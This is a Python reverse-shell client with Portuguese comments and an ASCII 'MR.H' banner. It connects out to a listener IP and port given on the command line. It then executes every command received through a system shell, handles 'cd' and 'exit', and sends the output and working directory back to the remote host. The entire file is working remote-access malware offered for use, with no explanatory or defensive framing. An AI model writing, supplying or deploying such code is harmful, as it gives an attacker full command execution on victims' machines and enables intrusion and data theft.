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#!/usr/bin/env python3

import socket, os, subprocess, sys, platform
from time import sleep
from concurrent.futures import ThreadPoolExecutor
systema = platform.system()
if systema == 'Linux' or systema == 'Windows':
    #args e variaveis
    socket.gethostbyaddr(socket.gethostname())
    buffer = 4096
    centro = 50
    red   = "\033[1;31m"  
    blue  = "\033[1;34m"
    cyan  = "\033[1;36m"
    green = "\033[0;32m"
    reset = "\033[0;0m"
    bold  = "\033[;1m"
    reverse = "\033[;7m"
    white = "\033[37m"
    gray = "\033[0;37m"
    try:

        if sys.argv[1] == '--help':
            print(gray + """-l [ipv4]
-p [port]
--help = ajuda
example: ./mrhc.py -l 192.168.0.102 -p 9999""", reset)
            quit()
            sys.exit()
            
    except:
        sys.exit()

    if sys.argv[1] == '-l':
        host = str(sys.argv[2])
    if sys.argv[3] == '-p':
        port = int(sys.argv[4])
    
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    def client():
        print(red + '-'*50, reset)
        print(white + '*_*'.center(50), reset)
        print('')
        print(red + """
        ███╗   ███╗██████╗    ██╗  ██╗
        ████╗ ████║██╔══██╗   ██║  ██║
        ██╔████╔██║██████╔╝   ███████║
        ██║╚██╔╝██║██╔══██╗   ██╔══██║
        ██║ ╚═╝ ██║██║  ██║██╗██║  ██║
        ╚═╝     ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═╝
                              """, reset)
        print(red + '-'*50, reset)
        sleep(1)
        s.connect((host, port)) 
        message = s.recv(buffer).decode()
        print('')
        print(green + f'{host}:{port} diz: {message}'.center(50).title(), reset)
        print('')
        print(red + '-'*50, reset)
        
        def receber_message():
            while True:
                data = s.recv(buffer)
                if len(data) <= 0:
                    s.close()
                    sys.exit()
                if data[:2].decode("utf-8") == 'cd':
                    os.chdir(data[3:].decode("utf-8"))
                if data[:4].decode("utf-8") == 'exit':
                    s.close()
                    sys.exit()
                if len(data) > 0:
                    cmd = subprocess.Popen(data[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE )
                    output_bytes = cmd.stdout.read()
                    output_str = str(output_bytes, "utf-8")
                    s.send(str.encode(output_str + str(os.getcwd()) + '#'))
                    #print(output_str)
        receber_message()        
        s.close()
    with ThreadPoolExecutor(max_workers=15) as pool:
        pool.map(client)
    client()

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